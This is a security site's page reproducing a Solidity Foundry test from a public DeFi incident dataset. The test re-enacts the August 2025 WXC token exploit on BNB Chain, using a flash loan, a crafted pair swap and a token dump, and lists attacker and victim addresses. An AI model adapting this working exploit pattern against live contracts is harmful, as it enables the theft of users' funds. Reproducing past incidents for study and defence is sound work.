Skip to content
THREATWIRE

Public reproduction file

src/test/2025-08/WXC_Token_exp.sol

Public reproduction file for dataset entry WXC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-08/WXC_Token_exp.sol75 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.0;
3
4import "../basetest.sol";
5import "../interface.sol";
6// @KeyInfo - Total Lost : 37.5 WBNB
7// Attacker : 0x476954c752a6ee04b68382c97f7560040eda7309
8// Attack Contract : 0x798465b25b68206370d99f541e11eea43288d297
9// Vulnerable Contract : 0x8087720eeea59f9f04787065447d52150c09643e
10// Attack Tx : https://bscscan.com/tx/0x1397bc7f0d284f8e2e30d0a9edd0db1f3eb0dd284c75e30d226b02bf09ad068f
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x8087720eeea59f9f04787065447d52150c09643e#code
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1954774967481962832
17// Twitter Guy : https://x.com/TenArmorAlert/status/1954774967481962832
18// Hacking God : N/A
20contract WXC is BaseTestWithBalanceLog {
21 uint256 blocknumToForkFrom = 57177438 - 1;
22 uint256 flashAmount = 49150000000000000000;
23 //contracts
24 IPancakePair Cake_LP = IPancakePair(0xdA5C7eA4458Ee9c5484fA00F2B8c933393BAC965);
25 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
26 IERC20 WXC = IERC20(0x8087720EeeA59F9F04787065447D52150c09643E);
27 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
28 I0x8f73_ERC1967Proxy ercproxy = I0x8f73_ERC1967Proxy(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);
30 function setUp() public {
31 vm.createSelectFork("bsc", blocknumToForkFrom);
32 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
33 fundingToken = address(WBNB);
34 }
36 function testExploit() public balanceLog {
37 //implement exploit code here
38 WXC.approve(address(Router), type(uint256).max);
40 WBNB.allowance(address(this), address(ercproxy));
41 WBNB.approve(address(ercproxy), type(uint256).max);
43 ercproxy.flashLoan(address(WBNB), flashAmount, "0x00");
44 }
46 function onMoolahFlashLoan(uint256 assets, bytes memory data) public {
47 WBNB.approve(address(ercproxy), flashAmount);
49 uint256 amt0 = 74963130190599057252979324;
50 uint256 amt1 = 1;
52 Cake_LP.swap(amt0, amt1, address(this), hex"000000000014bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c0300000006000000000000cf3800000044a9059cbb000000000000000000000000da5c7ea4458ee9c5484fa00f2b8c933393bac965000000000000000000000000000000000000000000000002aa17e09796730000000000000000000000000000006f0ae91d");
54 uint256 appAmt = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
55 WXC.approve(address(Router), appAmt);
58 uint256 amtIn = 74963130190599057252979324;
59 address[] memory path = new address[](2);
60 path[0] = address(WXC);
61 path[1] = address(WBNB);
62 uint256 deadline = 1754881178;
64 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amtIn, 0, path, address(this), deadline);
65 }
67 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
68 WBNB.transfer(address(Cake_LP), flashAmount);
69 }
73interface I0x8f73_ERC1967Proxy {
74 function flashLoan(address token, uint256 assets, bytes memory data) external;

Analysis

Dataset entry

Public Foundry test for “WXC” (2025-08-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x476954c752a6ee04b68382c97f7560040eda7309

  • Attack Contract

    0x798465b25b68206370d99f541e11eea43288d297

  • Vulnerable Contract

    0x8087720eeea59f9f04787065447d52150c09643e

  • Attack Tx

    0x1397bc7f0d284f8e2e30d0a9edd0db1f3eb0dd284c75e30d226b02bf09ad068f

File record

Name
WXC
Path
src/test/2025-08/WXC_Token_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
07abd3ee39179b339fd4baa38ec40c39b9d10c0d
Language
Solidity
Size
76 lines
Date
2025-08-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-08/WXC_Token_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 07abd3ee39179b339fd4baa38ec40c39b9d10c0d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.